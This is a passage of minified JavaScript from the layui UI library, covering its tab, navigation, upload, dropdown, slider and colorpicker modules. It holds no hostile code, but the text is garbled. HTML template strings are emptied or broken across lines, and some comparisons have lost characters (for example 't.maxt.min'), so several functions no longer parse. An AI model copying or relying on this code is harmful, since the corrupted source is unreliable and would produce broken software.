    "),f.hideTabMore(!0),f.tabAuto(),this},s.prototype.tabDelete=function(t,i){var e=".layui-tab-title",l=a(".layui-tab[lay-filter="+t+"]"),n=l.children(e),s=n.find('>li[lay-id="'+i+'"]');return f.tabDelete(null,s),this},s.prototype.tabChange=function(t,i){var e=".layui-tab-title",l=a(".layui-tab[lay-filter="+t+"]"),n=l.children(e),s=n.find('>li[lay-id="'+i+'"]');return f.tabClick.call(s[0],null,null,s),this},s.prototype.tab=function(t){t=t||{},b.on("click",t.headerElem,function(i){var e=a(this).index();f.tabClick.call(this,i,e,null,t)})},s.prototype.progress=function(t,i){var e="layui-progress",l=a("."+e+"[lay-filter="+t+"]"),n=l.find("."+e+"-bar"),s=n.find("."+e+"-text");return n.css("width",i),s.text(i),this};var o=".layui-nav",r="layui-nav-item",c="layui-nav-bar",u="layui-nav-tree",d="layui-nav-child",y="layui-nav-more",h="layui-anim layui-anim-upbit",f={tabClick:function(t,i,s,o){o=o||{};var r=s||a(this),i=i||r.parent().children("li").index(r),c=o.headerElem?r.parent():r.parents(".layui-tab").eq(0),u=o.bodyElem?a(o.bodyElem):c.children(".layui-tab-content").children(".layui-tab-item"),d=r.find("a"),y=c.attr("lay-filter");"javascript:;"!==d.attr("href")&&"_blank"===d.attr("target")||(r.addClass(l).siblings().removeClass(l),u.eq(i).addClass(n).siblings().removeClass(n)),layui.event.call(this,e,"tab("+y+")",{elem:c,index:i})},tabDelete:function(t,i){var n=i||a(this).parent(),s=n.index(),o=n.parents(".layui-tab").eq(0),r=o.children(".layui-tab-content").children(".layui-tab-item"),c=o.attr("lay-filter");n.hasClass(l)&&(n.next()[0]?f.tabClick.call(n.next()[0],null,s+1):n.prev()[0]&&f.tabClick.call(n.prev()[0],null,s-1)),n.remove(),r.eq(s).remove(),setTimeout(function(){f.tabAuto()},50),layui.event.call(this,e,"tabDelete("+c+")",{elem:o,index:s})},tabAuto:function(){var t="layui-tab-more",e="layui-tab-bar",l="layui-tab-close",n=this;a(".layui-tab").each(function(){var s=a(this),o=s.children(".layui-tab-title"),r=(s.children(".layui-tab-content").children(".layui-tab-item"),'lay-stope="tabmore"'),c=a('');if(n===window&&8!=i.ie&&f.hideTabMore(!0),s.attr("lay-allowClose")&&o.find("li").each(function(){var t=a(this);if(!t.find("."+l)[0]){var i=a('');i.on("click",f.tabDelete),t.append(i)}}),"string"!=typeof s.attr("lay-unauto"))if(o.prop("scrollWidth")>o.outerWidth()+1){if(o.find("."+e)[0])return;o.append(c),s.attr("overflow",""),c.on("click",function(a){o[this.title?"removeClass":"addClass"](t),this.title=this.title?"":"收缩"})}else o.find("."+e).remove(),s.removeAttr("overflow")})},hideTabMore:function(t){var i=a(".layui-tab-title");t!==!0&&"tabmore"===a(t.target).attr("lay-stope")||(i.removeClass("layui-tab-more"),i.find(".layui-tab-bar").attr("title",""))},clickThis:function(){var t=a(this),i=t.parents(o),n=i.attr("lay-filter"),s=t.parent(),c=t.siblings("."+d),y="string"==typeof s.attr("lay-unselect");"javascript:;"!==t.attr("href")&&"_blank"===t.attr("target")||y||c[0]||(i.find("."+l).removeClass(l),s.addClass(l)),i.hasClass(u)&&(c.removeClass(h),c[0]&&(s["none"===c.css("display")?"addClass":"removeClass"](r+"ed"),"all"===i.attr("lay-shrink")&&s.siblings().removeClass(r+"ed"))),layui.event.call(this,e,"nav("+n+")",t)},collapse:function(){var t=a(this),i=t.find(".layui-colla-icon"),l=t.siblings(".layui-colla-content"),s=t.parents(".layui-collapse").eq(0),o=s.attr("lay-filter"),r="none"===l.css("display");if("string"==typeof s.attr("lay-accordion")){var c=s.children(".layui-colla-item").children("."+n);c.siblings(".layui-colla-title").children(".layui-colla-icon").html(""),c.removeClass(n)}l[r?"addClass":"removeClass"](n),i.html(r?"":""),layui.event.call(this,e,"collapse("+o+")",{title:t,content:l,show:r})}};s.prototype.init=function(t,e){var l=function(){return e?'[lay-filter="'+e+'"]':""}(),s={tab:function(){f.tabAuto.call({})},nav:function(){var t=200,e={},s={},p={},b=function(l,o,r){var c=a(this),f=c.find("."+d);o.hasClass(u)?l.css({top:c.position().top,height:c.children("a").outerHeight(),opacity:1}):(f.addClass(h),l.css({left:c.position().left+parseFloat(c.css("marginLeft")),top:c.position().top+c.height()-l.height()}),e[r]=setTimeout(function(){l.css({width:c.width(),opacity:1})},i.ie&&i.ie<10?0:t),clearTimeout(p[r]),"block"===f.css("display")&&clearTimeout(s[r]),s[r]=setTimeout(function(){f.addClass(n),c.find("."+y).addClass(y+"d")},300))};a(o+l).each(function(i){var l=a(this),o=a(''),h=l.find("."+r);l.find("."+c)[0]||(l.append(o),h.on("mouseenter",function(){b.call(this,o,l,i)}).on("mouseleave",function(){l.hasClass(u)||(clearTimeout(s[i]),s[i]=setTimeout(function(){l.find("."+d).removeClass(n),l.find("."+y).removeClass(y+"d")},300))}),l.on("mouseleave",function(){clearTimeout(e[i]),p[i]=setTimeout(function(){l.hasClass(u)?o.css({height:0,top:o.position().top+o.height()/2,opacity:0}):o.css({width:0,left:o.position().left+o.width()/2,opacity:0})},t)})),h.find("a").each(function(){var t=a(this),i=(t.parent(),t.siblings("."+d));i[0]&&!t.children("."+y)[0]&&t.append(''),t.off("click",f.clickThis).on("click",f.clickThis)})})},breadcrumb:function(){var t=".layui-breadcrumb";a(t+l).each(function(){var t=a(this),i="lay-separator",e=t.attr(i)||"/",l=t.find("a");l.next("span["+i+"]")[0]||(l.each(function(t){t!==l.length-1&&a(this).after(""+e+"")}),t.css("visibility","visible"))})},progress:function(){var t="layui-progress";a("."+t+l).each(function(){var i=a(this),e=i.find(".layui-progress-bar"),l=e.attr("lay-percent");e.css("width",function(){return/^.+\/.+$/.test(l)?100*new Function("return "+l)()+"%":l}()),i.attr("lay-showPercent")&&setTimeout(function(){e.html(''+l+"")},350)})},collapse:function(){var t="layui-collapse";a("."+t+l).each(function(){var t=a(this).find(".layui-colla-item");t.each(function(){var t=a(this),i=t.find(".layui-colla-title"),e=t.find(".layui-colla-content"),l="none"===e.css("display");i.find(".layui-colla-icon").remove(),i.append(''+(l?"":"")+""),i.off("click",f.collapse).on("click",f.collapse)})})}};return s[t]?s[t]():layui.each(s,function(t,a){a()})},s.prototype.render=s.prototype.init;var p=new s,b=a(document);p.render();var v=".layui-tab-title li";b.on("click",v,f.tabClick),b.on("click",f.hideTabMore),a(window).on("resize",f.tabAuto),t(e,p)});layui.define("layer",function(e){"use strict";var t=layui.$,i=layui.layer,n=layui.hint(),o=layui.device(),a={config:{},set:function(e){var i=this;return i.config=t.extend({},i.config,e),i},on:function(e,t){return layui.onevent.call(this,r,e,t)}},l=function(){var e=this;return{upload:function(t){e.upload.call(e,t)},reload:function(t){e.reload.call(e,t)},config:e.config}},r="upload",u="layui-upload-file",c="layui-upload-form",f="layui-upload-iframe",s="layui-upload-choose",p=function(e){var i=this;i.config=t.extend({},i.config,a.config,e),i.render()};p.prototype.config={accept:"images",exts:"",auto:!0,bindAction:"",url:"",field:"file",acceptMime:"",method:"post",data:{},drag:!0,size:0,number:0,multiple:!1},p.prototype.render=function(e){var i=this,e=i.config;e.elem=t(e.elem),e.bindAction=t(e.bindAction),i.file(),i.events()},p.prototype.file=function(){var e=this,i=e.config,n=e.elemFile=t(['"].join("")),a=i.elem.next();(a.hasClass(u)||a.hasClass(c))&&a.remove(),o.ie&&o.ie<10&&i.elem.wrap('
    '),e.isFile()?(e.elemFile=i.elem,i.field=i.elem[0].name):i.elem.after(n),o.ie&&o.ie<10&&e.initIE()},p.prototype.initIE=function(){var e=this,i=e.config,n=t(''),o=t(['
    ',"
    "].join(""));t("#"+f)[0]||t("body").append(n),i.elem.next().hasClass(c)||(e.elemFile.wrap(o),i.elem.next("."+c).append(function(){var e=[];return layui.each(i.data,function(t,i){i="function"==typeof i?i():i,e.push('')}),e.join("")}()))},p.prototype.msg=function(e){return i.msg(e,{icon:2,shift:6})},p.prototype.isFile=function(){var e=this.config.elem[0];if(e)return"input"===e.tagName.toLocaleLowerCase()&&"file"===e.type},p.prototype.preview=function(e){var t=this;window.FileReader&&layui.each(t.chooseFiles,function(t,i){var n=new FileReader;n.readAsDataURL(i),n.onload=function(){e&&e(t,i,this.result)}})},p.prototype.upload=function(e,i){var n,a=this,l=a.config,r=a.elemFile[0],u=function(){var i=0,n=0,o=e||a.files||a.chooseFiles||r.files,u=function(){l.multiple&&i+n===a.fileLength&&"function"==typeof l.allDone&&l.allDone({total:a.fileLength,successful:i,aborted:n})};layui.each(o,function(e,o){var r=new FormData;r.append(l.field,o),layui.each(l.data,function(e,t){t="function"==typeof t?t():t,r.append(e,t)});var c={url:l.url,type:"post",data:r,contentType:!1,processData:!1,dataType:"json",headers:l.headers||{},success:function(t){i++,d(e,t),u()},error:function(){n++,a.msg("请求上传接口出现异常"),m(e),u()}};"function"==typeof l.progress&&(c.xhr=function(){var e=t.ajaxSettings.xhr();return e.upload.addEventListener("progress",function(e){if(e.lengthComputable){var t=Math.floor(e.loaded/e.total*100);l.progress(t,l.item[0],e)}}),e}),t.ajax(c)})},c=function(){var e=t("#"+f);a.elemFile.parent().submit(),clearInterval(p.timer),p.timer=setInterval(function(){var t,i=e.contents().find("body");try{t=i.text()}catch(n){a.msg("获取上传后的响应信息出现异常"),clearInterval(p.timer),m()}t&&(clearInterval(p.timer),i.html(""),d(0,t))},30)},d=function(e,t){if(a.elemFile.next("."+s).remove(),r.value="","object"!=typeof t)try{t=JSON.parse(t)}catch(i){return t={},a.msg("请对上传接口返回有效JSON")}"function"==typeof l.done&&l.done(t,e||0,function(e){a.upload(e)})},m=function(e){l.auto&&(r.value=""),"function"==typeof l.error&&l.error(e||0,function(e){a.upload(e)})},h=l.exts,v=function(){var t=[];return layui.each(e||a.chooseFiles,function(e,i){t.push(i.name)}),t}(),g={preview:function(e){a.preview(e)},upload:function(e,t){var i={};i[e]=t,a.upload(i)},pushFile:function(){return a.files=a.files||{},layui.each(a.chooseFiles,function(e,t){a.files[e]=t}),a.files},resetFile:function(e,t,i){var n=new File([t],i);a.files=a.files||{},a.files[e]=n}},y=function(){if("choose"!==i&&!l.auto||(l.choose&&l.choose(g),"choose"!==i))return l.before&&l.before(g),o.ie?o.ie>9?u():c():void u()};if(v=0===v.length?r.value.match(/[^\/\\]+\..+/g)||[]||"":v,0!==v.length){switch(l.accept){case"file":if(h&&!RegExp("\\w\\.("+h+")$","i").test(escape(v)))return a.msg("选择的文件中包含不支持的格式"),r.value="";break;case"video":if(!RegExp("\\w\\.("+(h||"avi|mp4|wma|rmvb|rm|flash|3gp|flv")+")$","i").test(escape(v)))return a.msg("选择的视频中包含不支持的格式"),r.value="";break;case"audio":if(!RegExp("\\w\\.("+(h||"mp3|wav|mid")+")$","i").test(escape(v)))return a.msg("选择的音频中包含不支持的格式"),r.value="";break;default:if(layui.each(v,function(e,t){RegExp("\\w\\.("+(h||"jpg|png|gif|bmp|jpeg$")+")","i").test(escape(t))||(n=!0)}),n)return a.msg("选择的图片中包含不支持的格式"),r.value=""}if(a.fileLength=function(){var t=0,i=e||a.files||a.chooseFiles||r.files;return layui.each(i,function(){t++}),t}(),l.number&&a.fileLength>l.number)return a.msg("同时最多只能上传的数量为:"+l.number);if(l.size>0&&!(o.ie&&o.ie<10)){var F;if(layui.each(a.chooseFiles,function(e,t){if(t.size>1024*l.size){var i=l.size/1024;i=i>=1?i.toFixed(2)+"MB":l.size+"KB",r.value="",F=i}}),F)return a.msg("文件不能超过"+F)}y()}},p.prototype.reload=function(e){e=e||{},delete e.elem,delete e.bindAction;var i=this,e=i.config=t.extend({},i.config,a.config,e),n=e.elem.next();n.attr({name:e.name,accept:e.acceptMime,multiple:e.multiple})},p.prototype.events=function(){var e=this,i=e.config,a=function(t){e.chooseFiles={},layui.each(t,function(t,i){var n=(new Date).getTime();e.chooseFiles[n+"-"+t]=i})},l=function(t,n){var o=e.elemFile,a=t.length>1?t.length+"个文件":(t[0]||{}).name||o[0].value.match(/[^\/\\]+\..+/g)||[]||"";o.next().hasClass(s)&&o.next().remove(),e.upload(null,"choose"),e.isFile()||i.choose||o.after(''+a+"")};i.elem.off("upload.start").on("upload.start",function(){var o=t(this),a=o.attr("lay-data");if(a)try{a=new Function("return "+a)(),e.config=t.extend({},i,a)}catch(l){n.error("Upload element property lay-data configuration item has a syntax error: "+a)}e.config.item=o,e.elemFile[0].click()}),o.ie&&o.ie<10||i.elem.off("upload.over").on("upload.over",function(){var e=t(this);e.attr("lay-over","")}).off("upload.leave").on("upload.leave",function(){var e=t(this);e.removeAttr("lay-over")}).off("upload.drop").on("upload.drop",function(n,o){var r=t(this),u=o.originalEvent.dataTransfer.files||[];r.removeAttr("lay-over"),a(u),i.auto?e.upload(u):l(u)}),e.elemFile.off("upload.change").on("upload.change",function(){var t=this.files||[];a(t),i.auto?e.upload():l(t)}),i.bindAction.off("upload.action").on("upload.action",function(){e.upload()}),i.elem.data("haveEvents")||(e.elemFile.on("change",function(){t(this).trigger("upload.change")}),i.elem.on("click",function(){e.isFile()||t(this).trigger("upload.start")}),i.drag&&i.elem.on("dragover",function(e){e.preventDefault(),t(this).trigger("upload.over")}).on("dragleave",function(e){t(this).trigger("upload.leave")}).on("drop",function(e){e.preventDefault(),t(this).trigger("upload.drop",e)}),i.bindAction.on("click",function(){t(this).trigger("upload.action")}),i.elem.data("haveEvents",!0))},a.render=function(e){var t=new p(e);return l.call(t)},e(r,a)});layui.define(["jquery","laytpl","lay"],function(e){"use strict";var i=layui.$,n=layui.laytpl,t=layui.hint(),a=layui.device(),l=a.mobile?"click":"mousedown",r="dropdown",o="layui_"+r+"_index",u={config:{},index:layui[r]?layui[r].index+1e4:0,set:function(e){var n=this;return n.config=i.extend({},n.config,e),n},on:function(e,i){return layui.onevent.call(this,r,e,i)}},d=function(){var e=this,i=e.config,n=i.id;return d.that[n]=e,{config:i,reload:function(i){e.reload.call(e,i)}}},s="layui-dropdown",m="layui-menu-item-up",c="layui-menu-item-down",p="layui-menu-body-title",y="layui-menu-item-group",f="layui-menu-item-parent",v="layui-menu-item-divider",g="layui-menu-item-checked",h="layui-menu-item-checked2",w="layui-menu-body-panel",C="layui-menu-body-panel-left",V="."+y+">."+p,k=function(e){var n=this;n.index=++u.index,n.config=i.extend({},n.config,u.config,e),n.init()};k.prototype.config={trigger:"click",content:"",className:"",style:"",show:!1,isAllowSpread:!0,isSpreadItem:!0,data:[],delay:300},k.prototype.reload=function(e){var n=this;n.config=i.extend({},n.config,e),n.init(!0)},k.prototype.init=function(e){var n=this,t=n.config,a=t.elem=i(t.elem);if(a.length>1)return layui.each(a,function(){u.render(i.extend({},t,{elem:this}))}),n;if(!e&&a[0]&&a.data(o)){var l=d.getThis(a.data(o));if(!l)return;return l.reload(t)}t.id="id"in t?t.id:n.index,t.show&&n.render(e),n.events()},k.prototype.render=function(e){var t=this,a=t.config,r=i("body"),s=function(){var e=i('
      ');return a.data.length>0?m(e,a.data):e.html('
    • no menu
    • '),e},m=function(e,t){return layui.each(t,function(t,l){var r=l.child&&l.child.length>0,o="isSpreadItem"in l?l.isSpreadItem:a.isSpreadItem,u=l.templet?n(l.templet).render(l):a.templet?n(a.templet).render(l):l.title,d=function(){return r&&(l.type=l.type||"parent"),l.type?{group:"group",parent:"parent","-":"-"}[l.type]||"parent":""}();if("-"===d||l.title||l.id||r){var s=i(["",function(){var e="href"in l?''+u+"":u;return r?'
      '+e+function(){return"parent"===d?'':"group"===d&&a.isAllowSpread?'':""}()+"
      ":'
      '+e+"
      "}(),""].join(""));if(s.data("item",l),r){var c=i('
      '),y=i("
        ");"parent"===d?(c.append(m(y,l.child)),s.append(c)):s.append(m(y,l.child))}e.append(s)}}),e},c=['
        ',"
        "].join("");("contextmenu"===a.trigger||lay.isTopElem(a.elem[0]))&&(e=!0),!e&&a.elem.data(o+"_opened")||(t.elemView=i(c),t.elemView.append(a.content||s()),a.className&&t.elemView.addClass(a.className),a.style&&t.elemView.attr("style",a.style),u.thisId=a.id,t.remove(),r.append(t.elemView),a.elem.data(o+"_opened",!0),t.position(),d.prevElem=t.elemView,d.prevElem.data("prevElem",a.elem),t.elemView.find(".layui-menu").on(l,function(e){lay.stope(e)}),t.elemView.find(".layui-menu li").on("click",function(e){var n=i(this),l=n.data("item")||{},r=l.child&&l.child.length>0;r||"-"===l.type||(t.remove(),"function"==typeof a.click&&a.click(l,n))}),t.elemView.find(V).on("click",function(e){var n=i(this),t=n.parent(),l=t.data("item")||{};"group"===l.type&&a.isAllowSpread&&d.spread(t)}),"mouseenter"===a.trigger&&t.elemView.on("mouseenter",function(){clearTimeout(d.timer)}).on("mouseleave",function(){t.delayRemove()}))},k.prototype.position=function(e){var i=this,n=i.config;lay.position(n.elem[0],i.elemView[0],{position:n.position,e:i.e,clickType:"contextmenu"===n.trigger?"right":null})},k.prototype.remove=function(){var e=this,i=(e.config,d.prevElem);i&&(i.data("prevElem")&&i.data("prevElem").data(o+"_opened",!1),i.remove())},k.prototype.delayRemove=function(){var e=this,i=e.config;clearTimeout(d.timer),d.timer=setTimeout(function(){e.remove()},i.delay)},k.prototype.events=function(){var e=this,i=e.config;"hover"===i.trigger&&(i.trigger="mouseenter"),e.prevElem&&e.prevElem.off(i.trigger,e.prevElemCallback),e.prevElem=i.elem,e.prevElemCallback=function(n){clearTimeout(d.timer),e.e=n,e.render(),n.preventDefault(),"function"==typeof i.ready&&i.ready(e.elemView,i.elem,e.e.target)},i.elem.on(i.trigger,e.prevElemCallback),"mouseenter"===i.trigger&&i.elem.on("mouseleave",function(){e.delayRemove()})},d.that={},d.getThis=function(e){var i=d.that[e];return i||t.error(e?r+" instance with ID '"+e+"' not found":"ID argument required"),i},d.spread=function(e){var i=e.children("."+p).find(".layui-icon");e.hasClass(m)?(e.removeClass(m).addClass(c),i.removeClass("layui-icon-down").addClass("layui-icon-up")):(e.removeClass(c).addClass(m),i.removeClass("layui-icon-up").addClass("layui-icon-down"))},!function(){var e=i(window),n=i(document);e.on("resize",function(){if(u.thisId){var e=d.getThis(u.thisId);if(e){if(!e.elemView[0]||!i("."+s)[0])return!1;var n=e.config;"contextmenu"===n.trigger?e.remove():e.position()}}}),n.on(l,function(e){if(u.thisId){var i=d.getThis(u.thisId);if(i){var n=i.config;!lay.isTopElem(n.elem[0])&&"contextmenu"!==n.trigger&&(e.target===n.elem[0]||n.elem.find(e.target)[0]||e.target===i.elemView[0]||i.elemView&&i.elemView.find(e.target)[0])||i.remove()}}});var t=".layui-menu:not(.layui-dropdown-menu) li";n.on("click",t,function(e){var n=i(this),t=n.parents(".layui-menu").eq(0),a=n.hasClass(y)||n.hasClass(f),l=t.attr("lay-filter")||t.attr("id"),o=lay.options(this);n.hasClass(v)||a||(t.find("."+g).removeClass(g),t.find("."+h).removeClass(h),n.addClass(g),n.parents("."+f).addClass(h),layui.event.call(this,r,"click("+l+")",o))}),n.on("click",t+V,function(e){var n=i(this),t=n.parents("."+y+":eq(0)"),a=lay.options(t[0]);"isAllowSpread"in a&&!a.isAllowSpread||d.spread(t)});var a=".layui-menu ."+f;n.on("mouseenter",a,function(n){var t=i(this),a=t.find("."+w);if(a[0]){var l=a[0].getBoundingClientRect();l.right>e.width()&&(a.addClass(C),l=a[0].getBoundingClientRect(),l.left<0&&a.removeClass(C)),l.bottom>e.height()&&a.eq(0).css("margin-top",-(l.bottom-e.height()))}}).on("mouseleave",a,function(e){var n=i(this),t=n.children("."+w);t.removeClass(C),t.css("margin-top",0)})}(),u.reload=function(e,i){var n=d.getThis(e);return n?(n.reload(i),d.call(n)):this},u.render=function(e){var i=new k(e);return d.call(i)},e(r,u)});layui.define("jquery",function(e){"use strict";var i=layui.jquery,t={config:{},index:layui.slider?layui.slider.index+1e4:0,set:function(e){var t=this;return t.config=i.extend({},t.config,e),t},on:function(e,i){return layui.onevent.call(this,n,e,i)}},a=function(){var e=this,i=e.config;return{setValue:function(t,a){return i.value=t,e.slide("set",t,a||0)},config:i}},n="slider",l="layui-disabled",s="layui-slider",r="layui-slider-bar",o="layui-slider-wrap",u="layui-slider-wrap-btn",d="layui-slider-tips",v="layui-slider-input",c="layui-slider-input-txt",p="layui-slider-input-btn",m="layui-slider-hover",f=function(e){var a=this;a.index=++t.index,a.config=i.extend({},a.config,t.config,e),a.render()};f.prototype.config={type:"default",min:0,max:100,value:0,step:1,showstep:!1,tips:!0,input:!1,range:!1,height:200,disabled:!1,theme:"#009688"},f.prototype.render=function(){var e=this,t=e.config;if(t.step<1&&(t.step=1),t.maxt.min?a:t.min,t.value[1]=n>t.min?n:t.min,t.value[0]=t.value[0]>t.max?t.max:t.value[0],t.value[1]=t.value[1]>t.max?t.max:t.value[1];var r=Math.floor((t.value[0]-t.min)/(t.max-t.min)*100),v=Math.floor((t.value[1]-t.min)/(t.max-t.min)*100),p=v-r+"%";r+="%",v+="%"}else{"object"==typeof t.value&&(t.value=Math.min.apply(null,t.value)),t.valuet.max&&(t.value=t.max);var p=Math.floor((t.value-t.min)/(t.max-t.min)*100)+"%"}var m=t.disabled?"#c2c2c2":t.theme,f='
        '+(t.tips?'
        ':"")+'
        '+(t.range?'
        ':"")+"
        ",h=i(t.elem),y=h.next("."+s);if(y[0]&&y.remove(),e.elemTemp=i(f),t.range?(e.elemTemp.find("."+o).eq(0).data("value",t.value[0]),e.elemTemp.find("."+o).eq(1).data("value",t.value[1])):e.elemTemp.find("."+o).data("value",t.value),h.html(e.elemTemp),"vertical"===t.type&&e.elemTemp.height(t.height+"px"),t.showstep){for(var g=(t.max-t.min)/t.step,b="",x=1;x')}e.elemTemp.append(b)}if(t.input&&!t.range){var w=i('
        ');h.css("position","relative"),h.append(w),h.find("."+c).children("input").val(t.value),"vertical"===t.type?w.css({left:0,top:-48}):e.elemTemp.css("margin-right",w.outerWidth()+15)}t.disabled?(e.elemTemp.addClass(l),e.elemTemp.find("."+u).addClass(l)):e.slide(),e.elemTemp.find("."+u).on("mouseover",function(){var a="vertical"===t.type?t.height:e.elemTemp[0].offsetWidth,n=e.elemTemp.find("."+o),l="vertical"===t.type?a-i(this).parent()[0].offsetTop-n.height():i(this).parent()[0].offsetLeft,s=l/a*100,r=i(this).parent().data("value"),u=t.setTips?t.setTips(r):r;e.elemTemp.find("."+d).html(u),"vertical"===t.type?e.elemTemp.find("."+d).css({bottom:s+"%","margin-bottom":"20px",display:"inline-block"}):e.elemTemp.find("."+d).css({left:s+"%",display:"inline-block"})}).on("mouseout",function(){e.elemTemp.find("."+d).css("display","none")})},f.prototype.slide=function(e,t,a){var n=this,l=n.config,s=n.elemTemp,f=function(){return"vertical"===l.type?l.height:s[0].offsetWidth},h=s.find("."+o),y=s.next("."+v),g=y.children("."+c).children("input").val(),b=100/((l.max-l.min)/Math.ceil(l.step)),x=function(e,i){e=Math.ceil(e)*b>100?Math.ceil(e)*b:Math.round(e)*b,e=e>100?100:e,h.eq(i).css("vertical"===l.type?"bottom":"left",e+"%");var t=T(h[0].offsetLeft),a=l.range?T(h[1].offsetLeft):0;"vertical"===l.type?(s.find("."+d).css({bottom:e+"%","margin-bottom":"20px"}),t=T(f()-h[0].offsetTop-h.height()),a=l.range?T(f()-h[1].offsetTop-h.height()):0):s.find("."+d).css("left",e+"%"),t=t>100?100:t,a=a>100?100:a;var n=Math.min(t,a),o=Math.abs(t-a);"vertical"===l.type?s.find("."+r).css({height:o+"%",bottom:n+"%"}):s.find("."+r).css({width:o+"%",left:n+"%"});var u=l.min+Math.round((l.max-l.min)*e/100);if(g=u,y.children("."+c).children("input").val(g),h.eq(i).data("value",u),s.find("."+d).html(l.setTips?l.setTips(u):u),l.range){var v=[h.eq(0).data("value"),h.eq(1).data("value")];v[0]>v[1]&&v.reverse()}l.change&&l.change(l.range?v:u)},T=function(e){var i=e/f()*100/b,t=Math.round(i)*b;return e==f()&&(t=Math.ceil(i)*b),t},w=i(['
        f()&&(r=f());var o=r/f()*100/b;x(o,e),t.addClass(m),s.find("."+d).show(),i.preventDefault()},o=function(){t.removeClass(m),s.find("."+d).hide()};M(r,o)})}),s.on("click",function(e){var t=i("."+u);if(!t.is(event.target)&&0===t.has(event.target).length&&t.length){var a,n="vertical"===l.type?f()-e.clientY+i(this).offset().top:e.clientX-i(this).offset().left;n<0&&(n=0),n>f()&&(n=f());var s=n/f()*100/b;a=l.range?"vertical"===l.type?Math.abs(n-parseInt(i(h[0]).css("bottom")))>Math.abs(n-parseInt(i(h[1]).css("bottom")))?1:0:Math.abs(n-h[0].offsetLeft)>Math.abs(n-h[1].offsetLeft)?1:0:0,x(s,a),e.preventDefault()}}),y.children("."+p).children("i").each(function(e){i(this).on("click",function(){g=y.children("."+c).children("input").val(),g=1==e?g-l.stepl.max?l.max:Number(g)+l.step;var i=(g-l.min)/(l.max-l.min)*100/b;x(i,0)})});var q=function(){var e=this.value;e=isNaN(e)?0:e,e=el.max?l.max:e,this.value=e;var i=(e-l.min)/(l.max-l.min)*100/b;x(i,0)};y.children("."+c).children("input").on("keydown",function(e){13===e.keyCode&&(e.preventDefault(),q.call(this))}).on("change",q)},f.prototype.events=function(){var e=this;e.config},t.render=function(e){var i=new f(e);return a.call(i)},e(n,t)});layui.define("jquery",function(e){"use strict";var i=layui.jquery,o={config:{},index:layui.colorpicker?layui.colorpicker.index+1e4:0,set:function(e){var o=this;return o.config=i.extend({},o.config,e),o},on:function(e,i){return layui.onevent.call(this,"colorpicker",e,i)}},r=function(){var e=this,i=e.config;return{config:i}},t="colorpicker",n="layui-show",l="layui-colorpicker",c=".layui-colorpicker-main",a="layui-icon-down",s="layui-icon-close",f="layui-colorpicker-trigger-span",d="layui-colorpicker-trigger-i",u="layui-colorpicker-side",p="layui-colorpicker-side-slider",g="layui-colorpicker-basis",v="layui-colorpicker-alpha-bgcolor",h="layui-colorpicker-alpha-slider",m="layui-colorpicker-basis-cursor",b="layui-colorpicker-main-input",k=function(e){var i={h:0,s:0,b:0},o=Math.min(e.r,e.g,e.b),r=Math.max(e.r,e.g,e.b),t=r-o;return i.b=r,i.s=0!=r?255*t/r:0,0!=i.s?e.r==r?i.h=(e.g-e.b)/t:e.g==r?i.h=2+(e.b-e.r)/t:i.h=4+(e.r-e.g)/t:i.h=-1,r==o&&(i.h=0),i.h*=60,i.h<0&&(i.h+=360),i.s*=100/255,i.b*=100/255,i},y=function(e){var e=e.indexOf("#")>-1?e.substring(1):e;if(3==e.length){var i=e.split("");e=i[0]+i[0]+i[1]+i[1]+i[2]+i[2]}e=parseInt(e,16);var o={r:e>>16,g:(65280&e)>>8,b:255&e};return k(o)},x=function(e){var i={},o=e.h,r=255*e.s/100,t=255*e.b/100;if(0==r)i.r=i.g=i.b=t;else{var n=t,l=(255-r)*t/255,c=(n-l)*(o%60)/60;360==o&&(o=0),o<60?(i.r=n,i.b=l,i.g=l+c):o<120?(i.g=n,i.b=l,i.r=n-c):o<180?(i.g=n,i.r=l,i.b=l+c):o<240?(i.b=n,i.r=l,i.g=n-c):o<300?(i.b=n,i.g=l,i.r=l+c):o<360?(i.r=n,i.g=l,i.b=n-c):(i.r=0,i.g=0,i.b=0)}return{r:Math.round(i.r),g:Math.round(i.g),b:Math.round(i.b)}},C=function(e){var o=x(e),r=[o.r.toString(16),o.g.toString(16),o.b.toString(16)];return i.each(r,function(e,i){1==i.length&&(r[e]="0"+i)}),r.join("")},P=function(e){var i=/[0-9]{1,3}/g,o=e.match(i)||[];return{r:o[0],g:o[1],b:o[2]}},B=i(window),w=i(document),D=function(e){var r=this;r.index=++o.index,r.config=i.extend({},r.config,o.config,e),r.render()};D.prototype.config={color:"",size:null,alpha:!1,format:"hex",predefine:!1,colors:["#009688","#5FB878","#1E9FFF","#FF5722","#FFB800","#01AAED","#999","#c00","#ff8c00","#ffd700","#90ee90","#00ced1","#1e90ff","#c71585","rgb(0, 186, 189)","rgb(255, 120, 0)","rgb(250, 212, 0)","#393D49","rgba(0,0,0,.5)","rgba(255, 69, 0, 0.68)","rgba(144, 240, 144, 0.5)","rgba(31, 147, 255, 0.73)"]},D.prototype.render=function(){var e=this,o=e.config,r=i(['
        ',"",'3&&(o.alpha&&"rgb"==o.format||(e="#"+C(k(P(o.color))))),"background: "+e):e}()+'">','',"","","
        "].join("")),t=i(o.elem);o.size&&r.addClass("layui-colorpicker-"+o.size),t.addClass("layui-inline").html(e.elemColorBox=r),e.color=e.elemColorBox.find("."+f)[0].style.background,e.events()},D.prototype.renderPicker=function(){var e=this,o=e.config,r=e.elemColorBox[0],t=e.elemPicker=i(['
        ','
        ','
        ','
        ','
        ','
        ',"
        ",'
        ','
        ',"
        ","
        ",'
        ','
        ','
        ',"
        ","
        ",function(){if(o.predefine){var e=['
        '];return layui.each(o.colors,function(i,o){e.push(['
        ','
        ',"
        "].join(""))}),e.push("
        "),e.join("")}return""}(),'
        ','
        ','',"
        ",'
        ','','',"","
